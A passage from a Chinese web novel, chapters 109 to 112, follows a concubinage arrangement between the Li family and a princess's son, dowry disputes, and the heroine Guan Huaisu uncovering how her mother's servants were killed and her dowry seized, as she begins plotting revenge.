宁小娘冷笑,扶着他放到床上,也不盖被子,只自己盖着被子睡了。 第一百零九章 婉蓉订婚 第二日一大早,便是定好婉蓉上流云台寺的日子。 婉蓉难得一身素衣,不施脂粉,只松松挽发,眼睛肿得像桃子。 李家所有人都神色肃穆,准备送婉蓉出门,气氛正压抑到了极致的时候,李福兴奋大喊着:“老爷、夫人,大长公主亲至!” 众人一愣,便看到大长公主带着一长串的礼物进门,远远见到李珺便拱手说:“我带着家里这混账跟李大人赔罪!” “岂敢岂敢!”李珺慌忙见礼。 “我今儿来,就是因为仁儿的事儿。”大长公主不喜客套,到了面前扶起李珺就说,“李大人家里教养的女儿,素来出众,按说仁儿这孩子既然与她有缘,很该明媒正娶,给她一个名分。” 大长公主说到这里,停顿了一下,孙大娘子与婉淑咬牙,西院母子三人却都目露狂喜。 暗流涌动之中,大长公主又说:“奈何我早在西北给他定了亲事,事已至此,我便只能登门,厚颜请李大人将爱女给仁儿做侧室。” 众人神色又是一变。 李珺脸上登时火辣辣的,七分演,三分却也真的难受,眼圈发红,哽声说:“那孩子,从小小一团便是微臣抱着逗弄,而今十几载过去,家里日日小心疼爱,只想着为她觅得一个佳胥,日后安稳一生……” 说到这里,李珺落下泪来,看着刘仁说:“既然命中注定我儿与贵公子有缘,我亦不能阻拦,还望公主好歹给我们一家一些颜面,一应诸事,不求风光,但求嫁娶宴客,诸事皆齐全,也算圆了微臣一家送姑娘出阁的心愿。” 大长公主脸色微变,但还是说:“合该如此。” 说完大长公主便抬眼去看屋里众人,而后问:“谁是李家二姑娘?” 孙大娘子推了婉蓉一下,婉蓉立刻上前,战战兢兢地行礼问安,口呼:“见过大长公主。” 她身形袅娜纤细,眼下哭了几天,又是一身素色,瞧着梨花带雨,一边烦躁的刘仁看到这里,眼里露出怜惜之色,想到在山坡下确实是自己孟浪,连累这个佳人,心中难得产生了一丝愧疚与怜爱。 但是大长公主却不太喜欢娇弱的人,又看关怀素立在一边,气度高华,沉稳端庄,心下愈发为仁儿错过她而叹息。 因此她只是点点头,吩咐:“这回是仁儿孟浪,带累了二姑娘一生,这些东西你收下,放心,虽因为仁儿定过亲,身份上委屈了二姑娘,但是其他方面,咱们决计不会委屈二姑娘分毫。” 说完,叶英带着人一路放下四五担礼品,打开一看,东西差点晃花人眼。 婉淑一瞬间就捏紧了帕子,叫孙大娘子掐了一下,才意识到自己失态,赶紧松开手。 婉蓉大喜,连忙蹲身说不敢,而后娇怯怯地看刘仁一眼,马上害羞地垂下头。 事情办完,大长公主立刻告辞。 李珺立刻叫人送他们离开,刘仁来的时候满心烦躁,走的时候却接连回头几次,心中颇为不舍。 出了门,大长公主叫刘仁先回去,自己一路纵马出城。 一干女兵之中,只有叶英能跟上她,二人并肩策马,直到已经快到西山大营,才勒紧了缰绳。 “叶英,我把仁儿宠坏了。”大长公主看着落日,叹了口气说,“你瞧瞧他,到现在还没回过味儿来。” 叶英轻叹了口气,说:“殿下,小公子自小没吃过什么苦,性子也天真了些,慢慢教就是了。” 大长公主叹了口气,说:“我知道你的意思。我是对仁儿太心慈手软了,当初乐天学艺的时候,师傅说寒冬里,他的手掌都是血窟窿,驸马抱着他哭,说不许再练了,甚至割发传书与我断情绝义,我都不肯收回命令。可是到了仁儿这里,他冬天起不来,夏天嫌热,我却总是纵容……” 这些事儿跟着大长公主的老人都知道,也都知道为何大长公主会如此疼爱这个幺儿,这是无法劝的事情,更是大长公主的逆鳞。 因此叶英只叹了口气,轻声说:“飞星公子临终时再无其他心愿,只希望您能保小公子安乐一生,公主心中记得旧人,自然无法对小公子太过严苛。” 大长公主长叹一口气,轻声说:“可是我或许是错了,身为我的儿子,他若是不懂洞察人心,又如何安稳呢?日后若是有什么大事,我又如何指望他能定住乾坤?” 叶英轻声说:“还有世子在呢,世子心智手段,无一缺憾,平常人家若有如此麒麟儿,已足够家族两代无忧了。” “乐天那身子太差了。”大长公主轻叹一口气,仿佛呢喃地说,“当初许多事情,发生得太快了,这些年我与他母子离心,当年之事不水落石出,只怕他心中芥蒂永无开解之日。” 叶英还没说话,大长公主已经振作起来,她冷声说:“狄夷又在蠢蠢欲动,里头明显有当年行事之人的影子,这一回,我一定要把那背后之人揪出来,我倒要看看是谁在筹谋这一切!” 叶英点点头,又问:“那小公子的婚事具体如何安排?” “你跟秦德贵传话,就说他家那两个女儿,我瞧着都很好,让他问问她们可乐意过来当我儿媳妇。”大长公主一抖缰绳,说,“若是嫁过来,便可入我帐下,从偏将做起。” 叶英一听,迟疑一下,说:“公主,小公子瞧着很喜欢京师柔婉女子,怀素姑娘貌美,小公子瞧着却并不十分心动。” “他这不是得了喜欢的么?”大长公主冷笑一声,说,“喜欢就养在家里,主母却不是谁都能做的。” 又对叶英说:“把这事儿来龙去脉给秦家姑娘说清楚,若是她们不愿就算了,我再找找别人。” 叶英这才点头,说:“好!” 二人说完,纵马回公主府,到了地方就发现刘仁今儿居然没回自己府邸,而是在东府等着陪母亲用饭。 “说吧,什么事情求我。”用完夕食,大长公主不耐烦应付他,便直接问。 “母亲,我这几日听说,前朝有种特别有名的技艺,乃是镶蝶贝的家具首饰,据说满镶其色如银,点点洒于红木之上,每个角度有不同彩光,极其稀罕漂亮。”刘仁这才开口,小心地说,“这手艺战乱间失传,如今极其难寻。儿听说哥哥库房里有一套,您可否帮我跟哥哥说一声,就说我想讨一套。” 大长公主深深地看着刘仁,看得他不自在了,才对叶英说:“叫乐天过来,问问乐天的意思。” 周乐天刚用完夕食,正在喝药。 叶英进来一说,周乐天还没说话,来福已经气得跳起来:“岂有此理,这些东西可都是驸马私库的藏品,他刘仁凭什么来找咱们侯爷讨要?真不愧是个贱种,竟是一点脸面也不要了!” 周乐天深呼吸几口气,到底没拿稳药碗,手一抖,一下子摔在地上。 来福惊呼:“爷,你可别气,快冷静一下,一会子心疾犯了!” 就在屋里乱成一团的时候,门口突然听到小厮惊呼:“驸马爷?!” 登时连周乐天都愣了一下,就见驸马爷进来,惊怒发问:“飞星生的那个贱种竟一直这样难为你,还敢找你开私库要东西?!” “老爷!”来福见驸马居然清醒,立刻眼圈红了,哽咽地说,“何止如此,前些日子咱们爷好容易喜欢上的那个姑娘,您还记得吧?” 见驸马点头,来福立刻带着哭腔告状:“公主当时还想把那李家的大姑娘说给那小子!还说叫咱们爷别想了!得亏那小贱、那小子自己不修德行,把人家家里二姑娘名声糟践了,才叫这事儿变成如今模样。” 来福几句话把刘仁与婉蓉的事儿说清楚,驸马登时气得身子都在颤抖,叫身边妈妈:“妈妈,你去隔壁走一趟,就说是我问的,殿下可是想逼死我,才让人如此欺辱我儿?” 周乐天心中即开心父亲清醒,又担心父亲被气狠了,自个儿的火气反而忘了,连忙过去搀扶父亲坐下,轻声说:“父亲别气,我不会叫他如愿的,您放心。” “他往日也这么欺负你的吗?”驸马却抓着周乐天的手,一叠声问。 来福想说什么,周乐天瞪了他一下,温声说:“父亲,他也就在母亲面前撒娇闹罢了,我不给,他还敢带着人打上门来吗?” 驸马闻言,这才心里舒服了一些,拉着周乐天眼圈发红,轻叹,说:“是我不中用,要不是我成日糊里糊涂的,你哪里能受这么多委屈。” 周乐天闻言,立刻安慰父亲。 二人在那边说话,公主府上的侍从女官远远看到驸马身边的贴身妈妈过来,立刻惊讶地进屋紧张回话:“殿下,驸马身边的温妈妈来了!” 大长公主一愣。 刘仁远在边关,多年受宠,压根不知道情况,还在撒娇说:“母亲,定是哥哥舍不得东西,特地叫父亲身边的人过来撑腰……哥哥好小气!” 他素来习惯了在家里予取予求,周乐天也对他没什么办法。 可是他却没看到叶英眼里闪过的对他一丝不屑和嘲讽。 于是刘仁就看到一直懒洋洋的母亲突然坐直了身体,紧接着门口一个老妪进门来,她虽满头白发,看着十分沧桑,但是举止之间十分优雅,进门礼仪周全地行礼,而后垂眸恭敬地说:“殿下,驸马听说他留给侯爷的私库竟被人索要,特地叫老身来问,殿下当年誓言,可还作数?” 大长公主难得脸上露出微微尴尬的神色,立刻说:“自然是作数的,他不过是个小孩子胡言乱语,妈妈你叫子君不必放在心上。” 那老妈妈闻言,立刻点头,说:“那老奴就告退了。” 刘仁见此立刻生气了,怒声呵斥:“你算是个什么人物,这是什么地方,我娘还没发话呢,你想来就来,想走就走?” 那老妈妈闻言,也不说话,只是保持行礼的姿势,垂眸对着大长公主,虽然年迈,但是姿态优雅,礼仪一丝也无错漏,像一尊静谧的雕像。 “你在胡说八道什么?!”大长公主大怒,指着刘仁,“这是驸马身边的人,你也要叫一声父亲,长辈身边人也能是你随便呵斥的?我瞧你怎么年纪越大越不懂礼数了,给我滚出去!” 刘仁也愿意走,他觉得这个老妈妈来了之后,母亲态度与往日截然不同,刘仁下意识就不喜欢这个人,希望这个人赶紧滚开,滚得越远越好。 “母亲,你答应我的!”刘仁不甘撒娇。 大长公主一拍桌子:“出去!” 门口女将立刻便进门,给刘仁使着眼色拉着他出去。 临出门的时候,还听到大长公主声音十分柔软,轻声在问:“驸马的身体如何,如今天气热了,那边缺什么,只管告诉我……” 刘仁听着,愈发愤愤不平,被拉出院子忍不住还拉着问:“白姨,那是怎么回事,不是说我母亲不喜欢驸马的吗?怎地他那边只来个老妈妈,母亲竟连我都训斥了!” 白虹立刻叹了口气,左右看了一眼,见四下无人,才轻声说:“谁说公主不喜欢驸马?” 刘仁不可置信,恼怒地说:“那我父亲呢?大哥的父亲如今还在人世,如今身边下人露个面,母亲就赶我,难道母亲忘了我爹是为了她死的?!” 白虹立刻便呵斥:“小公子,噤声!!” 见刘仁愤愤不平,她压低声音说:“若不是飞星公子为公主而死,小公子你这些年能过得如此平顺吗?您这性子也该改改了!” 白虹与父亲是生死之交,早些年还亲手照拂他长大,刘仁知道白虹绝对不会对自己撒谎。 可是刘仁却并不开心,反而更加愤怒,大声说:“母亲都这个年纪了,还因为宠幸男人而斥责我这个亲儿子!” 白虹立刻咬牙低斥:“小公子,慎言!” 她这么一说,刘仁这才冷静下来,他毕竟也才十六,瞧着还是有几分孩子气,白虹心中暗叹,轻声提醒他:“小公子别只顾着为殿下的事儿懊恼,您且想想,您自己最近身边的事情,有许多事情,是不是不对?您也该多考虑一下。” 刘仁神色冷静下来,想了想,懊恼地说:“你说得对,我是不该把人家好好一个姑娘家背上山,要不是这事儿,也不至于耽误了母亲给我找好的婚事。” 想到这里,刘仁这才反应过来,若是今儿他有个说得上话的岳家,或是厉害的媳妇,好歹今儿这种事情放在眼前,他也不至于如此被动,好歹能叫人出个主意。 等媳妇进门,自己自然也就有靠山了!如今先忍着才是! 想到这里,刘仁觉得自己悟了,立刻眼前一亮,对白妈妈说:“我知道了!多谢白姨提点!” 白虹见他如此兴致昂扬,总觉得他好像没理解自己的意思,但是他已经离开,白虹也不好多说什么,只能担忧地看一眼,叹了口气离开。 驸马昔日虽与公主决裂,但是在西北还好,回到京师,二人只隔了几堵墙,公主明显就想起昔日驸马受的种种委屈来,态度自然慢慢会变化。 小公子若是再不开窍,小侯爷资质本就胜过他无数倍,只怕小公子日后就难过了。 第一百一十章 何为疼爱? 公主府的勾心斗角,与李家暂时还没有任何关系。 婉蓉的婚事定下来,李珺的脸色一整天就没好过。 他实在是难以脸色好,毕竟如今他虽然及时止损,好歹没牵扯出更大的麻烦,也没把自己立场弄得进退两难,一切勉强恢复平静。 可是若是没有婉蓉擅作主张,他根本就不必面临这些日子的风波和尴尬! 这一番角逐下来,他白白当了棋子,却什么都没获得,反而赔了一个女儿。 女儿给人做妾,到底是不好听,日后还不知会不会被人攻讦他贪慕虚荣。 如此想起来,就愈发看西院不顺眼起来。 就在这样的气氛之中,李珺的生日到了。 他的生辰并未大办,只一家人聚在一起用夕食。 席间众人都给李珺送生辰贺礼,老夫人送了方罕见的前朝残墨,关怀素一看就瞳孔一缩——那残墨的包金上,有祖父的印章。 李珺接过去,立刻去看关怀素,好在关怀素瞬间低下头,没叫李珺看出自己神色不对。 除此之外,其他人送的东西都中规中矩,关怀素也送了丁妈妈做的香囊,谎称是自己的手艺。 只有崔妙人,拿出来了一幅图。 长卷轴展开,李珺本来冷硬的神色,登时被震惊取代,他站起身细看,而后诧异地看向崔妙人:“这、这是我教你临摹过的,黄老的《泰山图》!” “是啊,是珺哥哥教我临摹的第一幅图。”崔小娘在灯下眼含春水,哀怨柔婉到了极致,轻声说,“当初妙人临摹,如今已经能亲手画出来,只是妙人的心愿始终如一,只愿珺哥哥康健安泰、仕途顺利,妙人便是死也值得了。” “这、这……”李珺看这幅图,便知道不是一两日能赶工出来的,她私下起码画了小半年了。 而且想到当年二人红袖添香夜读书的日子,李珺心中一软,叹了口气,说:“妙人,辛苦你了。” “不辛苦,只要珺哥哥喜欢,便值得了。”崔妙人眼神含波,却露出温柔的笑容,轻声说,“妙人一点也不辛苦。” 李珺心中震动,不由得上前扶住她的手,一时早不记得周围人。 到了宴席散了,李珺拉着崔妙人去西院继续说话,宁双双跟着关怀素一起回去,进了后院便愤愤不平地说:“那贱皮子抢了你的侯夫人婚事,你父亲也不管,今儿还又给她添庄子做嫁妆,真叫人生气!” 关怀素摇头,说:“他心中对婉蓉已经彻底舍弃,再无一丝父女之情了。” 宁双双闻言,诧异地问:“怎会?他今儿给婉蓉添了那么多好东西呢!” 看她疑惑,关怀素便细细说给她:“婉蓉如此身份下嫁,本该愈发低调简朴才是,毕竟这可不是什么光鲜事情。父亲若真是为她好,这时候就得赶紧给二姐姐准备几个懂事儿的老仆,再细细教导她一下如何小心行事,最好赶紧学一下管家庶务,最最好的……” 最最好的,除了勒令婉蓉快些学会立身之本,还能找人教一教婉蓉如何拉拢住刘仁,最重要是如何注意后宅手段。 大长公主今儿话已经说得非常清楚,她说刘仁在西北已经订婚,那就是板上钉钉的事情,搞不好不过几月刘仁就会大婚。 所以留给婉蓉的只有两条路,一条是赶紧生下第一个庶子女,第二个办法是先收拢府里人心,等侯夫人进门之后小心行事,找机会站稳脚跟。 可这些都是后话,因此关怀素只是对宁小娘说:“可眼下父亲却一味疼宠纵容,只怕心中对婉蓉已经失望。喜爱时处处考虑周全,不喜之后,便弃之不顾……这也不过是宠爱猫狗一般,倒不像是真的疼爱。” 宁小娘琢磨了一下,登时悟了,轻声说:“是了,我听屋里老妈妈说了,说大娘子每回教导三姑娘,总是一直强调,不要做小娘姿态,许多想法,更要有正室气度,要稳、要沉得住气……” 宁小娘说到最后,已经是轻声呢喃,说:“老爷原先还叫二姑娘去读书、管家,寒食节后,竟什么都不管了,我以为是叫二姑娘思过呢……” 如今想来,既然为人妾室,这些事情都用不上,只需娇憨天真便可,自然竟是完全不教了。 想到这里,宁小娘纵然与李珺早已离心,争宠只为了报仇和活得好些,后背也起了一层细密的汗来。 因为她想到了一个更可怕的事情,她咽了口口水,说:“大姑娘,老爷和大娘子从未叫你学过管家与庶务,也没教你看过账本子!读书也只认得几个字便没了……” 关怀素笑了笑,眼神幽冷,脑中想到方才看到的那方印着祖父私印的残墨,她轻声说:“对啊,疼爱不疼爱,不就都在这里了么。” 说到这里,宁双双登时愤怒地说:“他如此冷情,倒是对崔妙人有几分真情,闹成这样,今日还给崔妙人做脸。” 关怀素轻声说:“情分这东西,用一回少一回。她的筹码已经越来越少了。” 看宁双双还是愤恨,关怀素笑了笑,轻声说:“小娘你放心,她日后再出不得任何事情了,而你,你有钱有庄子,你还学会了算账,你家中兄弟姐妹和父母如今都过了难关,日子蒸蒸日上……你慢慢看着,总归能看到仇人下场的。” 说到这里,宁双双终于慢慢冷静下来,狠狠点头,说:“大姑娘说的是!” 关怀素与宁小娘谈心,另一边,婉淑也在问孙大娘子:“娘,二姐前几日得了公主许多赏赐,父亲今儿席上还答应送她庄子,如果这样的话,那二姐如今嫁妆比我多了三四倍了!她当个妾竟比我这个明媒正娶的还风光了!” 孙大娘子脱下发簪,说:“这就沉不住气了?” 婉淑咬了咬下唇,轻声说:“阿娘怎么瞧着并不着急?” 孙大娘子说:“你该高兴才是。你父亲如今越是不责备西院,其实正说明他没打算管你二姐姐了。” 孙萍与关怀素看法不谋而合,她解释一番,见婉淑露出思索神色,便知道婉淑听进去了。 而后孙萍露出了鄙薄的神色,冷笑一声,说:“她们打听到人家是侯爷,便眼巴巴地凑过去,瞧着以为是什么天大的好日子,可我瞧着刘仁那性子,贪花好色、轻浮鲁直,她嫁过去,日后还不知道什么日子呢。” 婉淑听到这里,有些迟疑地轻声说:“可公主亲自登门,又那么夸二姐姐,又说不会亏待她……” “这种场面话,也就骗骗小孩子。你信不信,长公主只怕早把她看得清清楚楚,你真以为长公主能叫她生下侯爷长子,在侯府主母没登门的时候就站稳脚跟,给侯爷后宅埋个心腹大患?”孙大娘子冷笑一声,说,“若她真能做到,那她活该一辈子享福,你他日若要给她行礼,心中也别不服气。” 婉淑听到这里,心中正要妒恨,却听到阿娘语气彻底转冷,冰冷地说:“只是我瞧着,她只怕没那个本事。你父亲只怕也心里清楚,可面上不好说,便糊里糊涂咽下来了。” “阿娘的意思是,父亲知道?”婉淑一听,登时大喜,而后又说,“可若是如此,父亲干嘛还要给婉蓉庄子?!” “他对婉蓉失望,对崔妙人却还有些情谊。”孙大娘子说,“你且瞧着吧,你父亲嘴上无论怎么说,若他日婉蓉哭着回来诉苦,你父亲也不会说什么的。” 婉淑心里有些发冷,她完全没看出阿娘说的这些意思,只是轻声嗫喏,说:“可二姐姐到底得了这些钱财,一辈子也有靠了……” 孙大娘子笑了一下,说:“我的儿,那钱财若是交到你手上,我相信以你的本事,一辈子可以过得很好。但是你二姐姐,不是我看不上她,我不觉得她留得住什么。” 婉淑听完,有些害怕,忍不住捏紧帕子,轻声说:“那阿娘的意思是,我如今便让着二姐姐一些?” “以前怎么相处,日后也怎么相处就是了。”孙大娘子认真对婉淑说,“淑儿,你要记住,这日子都是人过的,有本事的人,嫁给赵二郎、给安乐侯做妾……都不要紧,都能活出自己的一片天地,但是没有本事的人,处于什么位置,都过不好自个儿这一亩三分地。” 婉淑知道这是母亲的体己话,立刻点头答应,说:“我知道阿娘的意思,我的天资就在这里,与其看着别人生气,不如把手上的捏紧。” 孙大娘子兜了这一个大圈,就是为了告诫婉淑这件事,怕她因婉蓉的胡来心中乱了,这会子看到婉淑终于明白,立刻欣慰地笑了,对婉淑点头,说:“你能这么想,总归是好的。再说,能当大娘子,谁家巴巴算计着去当人家小娘?该说不愧是小娘养的,行事也孟浪轻浮,也怪不得你父亲心中愤恨,都不打算管她了。” 婉淑听完,原本因为公主赐下无数钱财而不平的心,一下子彻底安宁下来。 阿娘说得没错,那些钱财能算得个什么,二姐姐嫁过去,不但没有名分,而且地位又尴尬,她又不擅长经营,日后且有吃苦的日子! 想到这里,婉淑愈发对母亲信服,安安心心静下来,继续跟着阿娘学习管家。 李家到了此时,才算是安静下来。 只是关怀素没想到,吹灯拔蜡之后,屋里悄摸来了个不速之客。 第一百一十一章 当年往事 不速之客到来之前,关怀素正拿着姐姐留下的纸条细细揣摩。 自打发现姐姐留下来的纸条之后,关怀素经常反复查看,早已经烂熟于心。 她今日想着那方墨砚,愈发心潮澎湃,辗转反复之中,丁妈妈进门,压低声音说:“姑娘,孔妈妈来了,说是有大事要立刻禀告姑娘!” “什么事情,连明日都等不得,大半夜偷偷跑来?”柳叶一翻身起来打开房门,边好奇地问。 而外头,孔妈妈激动地进来,进门就说:“姑娘,老身刚从老夫人屋里出来,找到了这个!” 说着,孔妈妈从怀里掏出一卷纸来。 柳叶上前接过,稍微看了一下,惊愕地说:“关娘子的嫁妆单子?” “对!这东西对姑娘有大用!”孔妈妈激动地说,“姑娘洪福齐天,这几日老身没闲着,查到了当年之事!老夫人为何恨姑娘,以及当初关娘子之死到底怎么回事……老身都查到了!” “你说什么?!”关怀素登时睡意全无,立刻起身,连忙问,“妈妈快说,到底是怎么回事?” 孔妈妈立刻点头,细细从头说起来。 事情从最初开始说起,便是老夫人其实不只是恨李婉玉,她恨的是关素问这个儿媳妇。 而为何恨这个儿媳妇,其中根子里的原因,便是老夫人的弟弟。 当年李珺中举为官后,老夫人的弟弟在家乡顿时地位愈发超然起来。 没了老夫人看着,加上李珺入了户部考功司,到后面还娶了三品官员之女,老夫人那弟弟愈发张狂起来。 往日只是去花楼或是糟蹋家里丫鬟,到后面肇州本地官员也巴结他,竟是愈发没了个钳制。 等到后来,竟为了抢占民女,弄死了人家一家五口人。 闹出人命,居然还想遮掩,可偏偏人家那家人的亲人不服,告上府城,此事终于捅了出来。 到了此时,老夫人才知道在自己面前乖巧的弟弟弄出了人命。 “老爷不敢管这件事,也管不了了,当日据说老夫人哭着给关娘子亲自下跪,逼迫关娘子。只因为当时钦差正在肇州附近,赶过去处置此事。而那位大人,好像是关家老爷子的挚友家的子弟。”孔妈妈轻声说,“但是关娘子抵死不从,后来老夫人又哭着要自杀相逼,无论如何也要救下舅爷……” “岂有此理,他害死五条人命,竟然还想着逃脱罪责!”柳叶听到火大,怒声说,“她早干什么去了?” 丁妈妈受白有才欺负多年,闻言也恨恨地说:“老夫人把自己弟弟当人,就把别人当脚底下的泥巴可劲儿糟践!” 孔妈妈点头,说:“据说关娘子当初也如此说,说不可包庇宵小。可老夫人要寻死,老爷也求关娘子,关娘子最后无法,只得写了封信过去求情。” “母亲糊涂。”关怀素听到这里,摇头叹气,说。 孔妈妈不敢附和,只说:“老夫人总算才没寻死觅活,但是后来舅爷被判了流放,哪怕派了人照顾,但是舅爷身子不好,抵不住这辛苦,还是在中途得了痢疾,还是没留住,据说老夫人从此就恨上了关娘子,说她明知道舅爷自小养尊处优受不得那苦,却还是不肯花力气保住舅爷,反倒让他遭了一场罪走了……” “这老糊涂的老虔婆!”丁妈妈闻言气得差点跳起来,怒声骂,“她弟弟害死五个人,是老天爷都看不下他还活下去,特地收了他的命!她养出来这么个弟弟,不知道羞耻,还迁怒上别人了!” 关怀素这下子倒是终于弄明白了,她冷笑一声,说:“就因为我娘没有不顾青红皂白替她颠倒是非保下弟弟,没有让害死人的人养尊处优继续过好日子,所以她恨我娘,也恨我,所以这些年故意苛待我,就是因为这个原因?” 孔妈妈点头说:“大约便是如此了,老夫人就是这个性子,你顺着她不一定得好,但是不顺着她,却一定会被记恨。” 关怀素点点头,说:“那当年我娘死后,嫁妆如何被瓜分的事情,妈妈知道吗?” “此事我知道的不清楚,这些事情我都是趁着陈妈妈被勒死之前问的。”孔妈妈这才露出心有余悸的表情,压低声音说,“她被关在柴房,没米没水的,这些日子我一直悄悄给她送饭。直到今日晚上来人之前,陈翠可能是预想到自己不好了,才把这些事情一股脑跟我说了。只是还没说太多就来人了,我怕给人看到,翻窗户才跑脱的。” “陈妈妈死了?!”丁妈妈惊恐地问。 别说丁妈妈,柳叶和关怀素都十分震惊。 孔妈妈点头,露出恐惧神色,说:“我在窗户底下亲耳听着她断的气。混乱的时候,我只听到陈翠大喊‘闵志杰!闵志杰’而后就被勒死了。” 关怀素一听,立刻坐直了身子,敏锐地意识到了这个闵志杰,只怕就是姐姐留下的纸条上写的闵叔叔! “孔妈妈可知道这个闵志杰是何人?”关怀素问。 孔妈妈点头,说:“认识,关娘子生子之前都常来的,与关娘子相熟的太医,据说还是医仙弟子呢,我回家生青黛那丫头回来,还曾见过他一两次。” “哦?”关怀素急声问,“他如今在何处?” “找不到了。”孔妈妈摇头,说,“他醉心医术,十几年前就已经辞官了,前几年回来过一次,来家里看了大姑娘,之后又走了。” 关怀素登时咬牙,着急地说:“他没有亲朋故旧能找到吗?” “这、这……哦!我听大家伙当时说,这太医十分厉害,似乎是医仙的弟子呢!”孔妈妈说完,立刻说,“除此之外,实在是不知道了。” 又说:“姑娘,关娘子出事前后,正是老身回家里生青黛那丫头的事情,前后这些事情老身实在是知道的不多。” 关怀素知道自己表现太急切了,叹了口气,说:“我没有责备妈妈的意思,妈妈为了我已经冒险许多,辛苦你了。” “姑娘,要紧的事情我还没说呢!”孔妈妈从怀里掏出一块金饼,说,“陈翠临死前正跟我说起这事儿,她说当初孙萍和老夫人一起下手围住了关家所有下人,一夜之间全部抓起来,打死的打死、发卖的发卖,她当时便是处事的人,当时她放了一个人走。” “谁?”柳叶紧张地问。 “乃是关娘子的乳娘,郑妈妈。”孔妈妈递上金饼,轻声说,“陈妈妈看她头发都白了,瞧着也奄奄一息,想着她不一定活得下去,便没叫人再下手,直接发卖走了。只是她本就年迈,也不知如今是否还活着。” 关怀素接过金饼一看,眼泪一下子出来了,轻声说:“这是我祖父亲手打的纹,这金饼竟是他老人家亲手制的。” 柳叶接过来一看,瞬间也眼圈红了。 “这是压箱底的金饼,陪嫁里头用来压田契地契的,若不是遇到实在过不去的坎,这东西本不该动,是留着下葬的时候花用的。”柳叶眼泪一滴滴地落下来,哽咽地说。 这金饼关老爷子给关怀素也亲手打了四块,这四块金饼压的是铺面、田地和银票等贵重轻飘的单据,代表着“生、养、死、葬”四事,娘家都备的样样俱全,意味着关家女儿一世到入土都不对外伸手,家里包了从出生到死亡的所有花用,在哪里都挺直腰杆。 不但关怀素有,便是柳叶这个说是婢女、实际和半个孙女一般养大的,也有四块。 因此柳叶看到这金饼,眼泪一连串地流,哽咽地说:“要不是到了绝路,郑妈妈是不会把这金饼送人的。” 关怀素也是眼泪长流,泪如雨下。 听人说一万遍,都不如眼前这块金饼,那么直接地一瞬间让关怀素知道当时的情势绝望到了何种地步。 她哭着问郑妈妈:“你告诉我,当时是哪些人听的吩咐,哪些人打死了人,被打死的又有哪些人,可有亲眷?” “都是关家死契的人,还有许多都发卖了,我不在场,实在是不知道了。”孔妈妈苦笑一声,说,“对不住大姑娘。” “好,那我再问一个事情——下杀手的,都是家里哪些人?”关怀素擦了擦眼泪,眼神发狠地问,“家里这些下人,你总知道吧,陈妈妈可说了?” 孔妈妈咬牙说:“不瞒大姑娘,老夫人和孙大娘子身边亲信全数都参与了,据说当日家里全数都把持住了,孙大娘子说,不许任何人去给关家在京师里头的人送信,不然怕出问题。” “老爷那时候在家吗?”关怀素突然问。 孔妈妈想了想说:“不在,老爷那几个月似乎刚巧忙得很,一直住在吏部,未曾回家。” 关怀素把玩着金饼和嫁妆单子,冷冷一笑,说:“真真是巧得很啊。” “这嫁妆单子有大用,姑娘。”孔妈妈看着那嫁妆单子,激动地说,“陈翠跟我说,老夫人屋里存的那嫁妆单子,乃是他们一家人伙同当时的京师府尹做的假单子,是后头补的,姑娘若是能联系上关家,便可以告他们侵吞孤女财产了!” 关怀素摇摇头,轻声说:“那也不过让他们赔点钱罢了。” 孔妈妈一直以为最重要的就是这事儿,为此还特地把嫁妆单子偷出来,以为自己立了天大功劳,这会子听到关怀素这么说,一下子愣住了。 “但是也很有用,妈妈为我冒险了。”关怀素看她那样子,立刻开口说,“妈妈放心,我记得妈妈的好。这金饼我留着做念想,就不给妈妈了。柳叶,去拿两锭金子来给孔妈妈。” “姑娘,这太贵重了,老身不敢接!”孔妈妈吓得连连拒绝。 “拿着,当给青黛添妆。”关怀素不容置喙地说,“青黛出门的时候,我还有厚礼相赠,妈妈只管放心。” 孔妈妈闻言,登时觉得自己冒的一切险都是值得的,她激动地接过那两锭加起来比金饼还重的金子,狠狠磕了个头,才悄无声息地又出去了。 “姑娘,你还好吧?”丁妈妈把人送出去,柳叶紧张地问。 “明日就带信出去。”关怀素轻声说,“找人带信给庞家大姨母,就问她……这些年的委屈,想不想报仇?” 第一百一十二章 斗法 第二日庞大娘子就来了消息,邀请关怀素去庞家小姨家里一叙。 关怀素到了地方一看,便看到庞大娘子和小姨母都坐在床头,眼睛是肿的,床上那姑娘骨瘦如柴,脸上和露出来的手臂上都是青紫。 关怀素一进门,床榻上还躺着的姑娘见到她,立刻便挣扎地要下地,只是实在羸弱起不来,含泪在床榻上说:“想来便是婉玉姐姐了。我阿娘如此对婉玉姐姐,姐姐却还特地叫人救我一命……我、我真是不知如何说了。” 这便是芸娘了,关怀素早知道她前阵子被救了回来,情况不太好,却不知道如此凄凉。 看她骨瘦如柴,脸颊都凹陷下去,因为脸色蜡黄,说话也十分有条理,看着竟不像庞家小姨,反而十足庞大娘子的性子。 难怪庞大娘子如此疼爱这个侄女。 关怀素心想着,感慨一声,说:“你也遭罪了。” 一句话说的芸娘眼泪直接掉下来,庞小姨听到这里,流泪跪下说:“原是我猪油蒙了心,只看到好处,却没想到害了自己亲生女儿,大姑娘能不记恨我们,愿意帮我的芸娘,大恩大德,无以为报!” 说完她就要磕头,但是却叫关怀素制止了。 她说:“不用谢我,这是大姨母拿消息与我换的,咱们之间两不相欠了。” 说完,关怀素看着庞大娘子,还没说话,庞大娘子突然开口,说:“姑娘,我们想报仇。” 关怀素颔首,今日庞大娘子既然叫她来,显然已经做好了决定,她便问:“你们打算如何做?” “我想把孙萍当年冤枉我们的事情公之于众!当初她设计刺激我,叫我骂她之后,她自己主动跳河,时候传出去风言风语,叫我姐姐没了名声被退婚……”小姨母立刻含泪开口,说,“还有她逼迫我给你牵线搭桥、而后又拿我芸娘顶包的事儿,也要叫人知道!凭什么我芸娘被人糟践,她女儿就能得嫁高门?!” “想得很好,但是孙大娘子这些年在京中口碑可是一直都很好,你们没有证据,无法动摇她分毫。”关怀素冷静地指出里面的问题,又说,“而且她对你们面上照拂可不少,没有证据,到时候只需要说你们妒恨她,如年少一般欺负她,你猜大家信你们还是信她?” “便是我们亲自站出来指摘她,也不行吗?”小姨母登时绝望了,指着床上的女儿说,“那我芸娘便也白白给她这么折辱,她孙萍便一世都压着我们不成?” 关怀素便看向庞大娘子,说:“大姨母想来心里已经有成算了吧?” 那小姨母素来就是个糊涂的,关怀素也不指望她,但是庞大娘子的才智,关怀素觉得她既然想复仇,不可能毫无准备。 庞大娘子像是下定了某种决心一般,说:“我弟弟曾因治雪有功,得了当地的万民伞,他离京之时托我帮他保管此物,此时正在我手上。” 庞大娘子说:“我弟弟这等功绩,考功司评选却只得一个乙等,若有人上达天听,便是失察之罪。” 